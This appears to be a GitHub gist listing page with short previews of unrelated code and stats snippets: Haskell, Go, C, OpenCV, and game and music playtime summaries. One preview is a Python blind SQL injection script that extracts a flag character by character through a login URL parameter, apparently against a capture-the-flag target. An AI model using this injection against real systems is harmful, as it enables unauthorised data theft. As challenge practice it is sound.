This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Primary logic: | |
# | |
# forever $ | |
# let noUpd = do | |
# checkUpdate | |
# traverse activate instances | |
# sleep updateInterval | |
# retryOnError f = catch (void f) $ const $ retryOnError f | |
# upd = do | |
# traverse deactivate instances |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
data PState (s :: S) | |
= PInitial | |
| PFound | |
| PFailed | |
deriving stock | |
( Generic | |
, Enum | |
, Bounded | |
) | |
deriving anyclass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package hlbvh | |
import ( | |
"math/bits" | |
"sync/atomic" | |
) | |
// Mark: - Kernels | |
func calculateMortonCodeKernel(dispatcher workDispatcher, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
🚓 Grand Theft Auto V 🕘 1253 hrs 21 mins | |
🔫 Counter-Strike: Global Offensive 🕘 1174 hrs 31 mins | |
🎮 War Thunder 🕘 108 hrs 6 mins | |
🎮 Human: Fall Flat 🕘 71 hrs 53 mins | |
🎮 HITMAN™ 🕘 20 hrs 18 mins |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Yu-Peng Chen ███▉░░░░░░░░░░░░░ 70 plays | |
REOL ███▎░░░░░░░░░░░░░ 59 plays | |
Manu Pilas ██▉░░░░░░░░░░░░░░ 53 plays | |
Xeuphoria ██▌░░░░░░░░░░░░░░ 46 plays | |
Ramin Djawadi █░░░░░░░░░░░░░░░░ 19 plays | |
Emmanuel David Lipszyc ▊░░░░░░░░░░░░░░░░ 14 plays | |
Audiomachine ▋░░░░░░░░░░░░░░░░ 13 plays | |
La Fanfarria del Capitán ▌░░░░░░░░░░░░░░░░ 10 plays | |
Andrew Britton ▌░░░░░░░░░░░░░░░░ 9 plays | |
Cecilia Krull ▍░░░░░░░░░░░░░░░░ 8 plays |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
C# 9 hrs 7 mins █████████▎░░░░░░░░░░░ 44.6% | |
unity 7 hrs 16 mins ███████▍░░░░░░░░░░░░░ 35.5% | |
sh 3 hrs 36 mins ███▋░░░░░░░░░░░░░░░░░ 17.6% | |
Other 24 mins ▍░░░░░░░░░░░░░░░░░░░░ 2.0% | |
JSON 3 mins ░░░░░░░░░░░░░░░░░░░░░ 0.3% |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
s=requests.session() | |
flag='' | |
for i in range(1,50): | |
p='' | |
for j in range(1,255): | |
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'" | |
#print payload | |
url="http://55a37af9-cb39-4361-a2cb-9b30b468527c.node3.buuoj.cn/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Created by 31838 on 7/2/2019. | |
// | |
#include "set.h" | |
#include <string.h> | |
#include <errno.h> | |
struct internal_set { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//去除二值图像边缘的突出部 | |
//uthreshold、vthreshold分别表示突出部的宽度阈值和高度阈值 | |
//type代表突出部的颜色,0表示黑色,1代表白色 | |
void delete_jut(Mat& src, Mat& dst, int uthreshold, int vthreshold, int type) | |
{ | |
int threshold; | |
src.copyTo(dst); | |
int height = dst.rows; | |
int width = dst.cols; | |
int k; //用于循环计数传递到外部 |